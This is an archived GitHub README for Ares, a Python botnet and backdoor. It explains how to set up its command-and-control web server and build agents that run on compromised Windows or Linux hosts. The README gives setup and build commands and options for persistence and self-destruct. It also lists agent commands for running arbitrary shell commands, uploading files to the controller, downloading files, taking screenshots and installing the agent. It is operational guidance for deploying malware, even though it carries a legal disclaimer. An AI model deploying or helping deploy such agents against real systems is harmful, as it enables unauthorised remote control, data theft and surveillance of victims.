

GitHub - sweetsoftware/Ares: Python botnet and backdoor

By sweetsoftware

Archived: 2026-04-05 23:22:49 UTC

Ares is a Python Remote Access Tool.

Warning: Only use this software according to your current legislation. Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.

Ares is made of two main programs:

- A Command aNd Control server, which is a Web interface to administer the agents
- An agent program, which is run on the compromised host, and ensures communication with the CNC

The Web interface can be run on any server running Python. The agent can be compiled to native executables using **pyinstaller**.

Setup

Install the Python requirements:

```
pip install -r requirements.txt
```

Initialize the database:

```
cd server
./ares.py initdb
```

In order to compile Windows agents on Linux, setup wine (optional):

```
./wine_setup.sh
```

Server

Run with the builtin (debug) server:

```
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
```

Or run using gunicorn:

```
unicorn ares:app -b 0.0.0.0:8080 --threads 20
```

The server should now be accessible on <http://localhost:8080>

Agent

Run the Python agent (update config.py to suit your needs):

```
cd agent
./agent.py
```

Build a new agent to a standalone binary:

```
./builder.py -p Linux --server http://localhost:8080 -o agent
./agent
```

To see a list of supported options, run `./builder.py -h`

```
./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
                [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
                [--max_failed_connections MAX_FAILED_CONNECTIONS]
                [--persistent]
```

Builds an Ares agent.

optional arguments:

```
-h, --help          show this help message and exit
-p PLATFORM, --platform PLATFORM
                    Target platform (Windows, Linux).
--server SERVER     Address of the CnC server (e.g http://localhost:8080).
-o OUTPUT, --output OUTPUT
                    Output file name.
--hello-interval HELLO_INTERVAL
                    Delay (in seconds) between each request to the CnC.
--idle_time IDLE_TIME
                    Inactivity time (in seconds) after which to go idle.
                    In idle mode, the agent pulls commands less often
                    (every <hello_interval> seconds).
--max_failed_connections MAX_FAILED_CONNECTIONS
                    The agent will self destruct if no contact with the
                    CnC can be made <max_failed_connections> times in a
                    row.
--persistent        Automatically install the agent on first run.
```

Supported agent commands

`<any shell command>`

Executes the command in a shell and return its output.

`upload <local_file>`

Uploads `<local_file>` to server.

`download <url> <destination>`

Downloads a file through HTTP(S).

`zip <archive_name> <folder>`

Creates a zip archive of the folder.

`screenshot`

Takes a screenshot.

`python <command|file>`

Runs a Python command or local file.

`persist`

Installs the agent.

`clean`

Uninstalls the agent.

`exit`

Kills the agent.

`help`

This help.

Source: <https://github.com/sweetsoftware/Ares>